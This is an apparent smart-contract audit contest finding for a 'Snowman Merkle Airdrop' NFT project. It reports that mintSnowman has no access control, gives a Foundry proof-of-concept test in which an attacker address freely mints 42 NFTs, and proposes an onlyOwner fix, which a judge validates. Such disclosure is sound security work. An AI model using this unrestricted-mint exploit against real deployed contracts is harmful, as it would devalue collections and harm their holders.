Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

[H-03] Unrestricted NFT Mint

Unrestricted NFT Mint

Description

  • Normal behaviour: Only the airdrop contract (or owner) should mint NFTs.

  • Issue: mintSnowman is external with no access-control; anyone can mint arbitrary amounts to any address.

function mintSnowman(address receiver, uint256 amount) external {
@> for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
...
}
}

Risk

Likelihood

  • Any time a curious user calls the function.

  • No prerequisites, no cost apart from gas.

Impact

  • Unlimited supply / total devaluation of the collection.

  • Trust and reputation damage.

Proof of Concept

test/PoC_Snowman_UnrestrictedMint.t.sol

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
import {Helper} from "../script/Helper.s.sol";
/**
* @title PoC_Snowman_UnrestrictedMint
* @notice Demonstrates that the `mintSnowman` function in Snowman.sol lacks any
* access-control, allowing anyone to mint an arbitrary number of NFTs to
* any address, bypassing the airdrop's intended logic.
*/
contract PoC_Snowman_UnrestrictedMint is Test {
Snowman nft;
Helper deployer;
address attacker;
function setUp() public {
deployer = new Helper();
(, , nft,) = deployer.run();
attacker = makeAddr("attacker");
}
function testAnyoneCanMint() public {
assertEq(nft.balanceOf(attacker), 0, "attacker starts with 0 NFTs");
vm.prank(attacker);
nft.mintSnowman(attacker, 42); // mint 42 NFTs at will
assertEq(nft.balanceOf(attacker), 42, "free mint succeeded - vulnerability proven");
}
}

Recommended Mitigation

- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyOwner {
Updates

Lead Judging Commences

yeahchibyke Lead Judge 12 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted NFT mint function

The mint function of the Snowman contract is unprotected. Hence, anyone can call it and mint NFTs without necessarily partaking in the airdrop.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.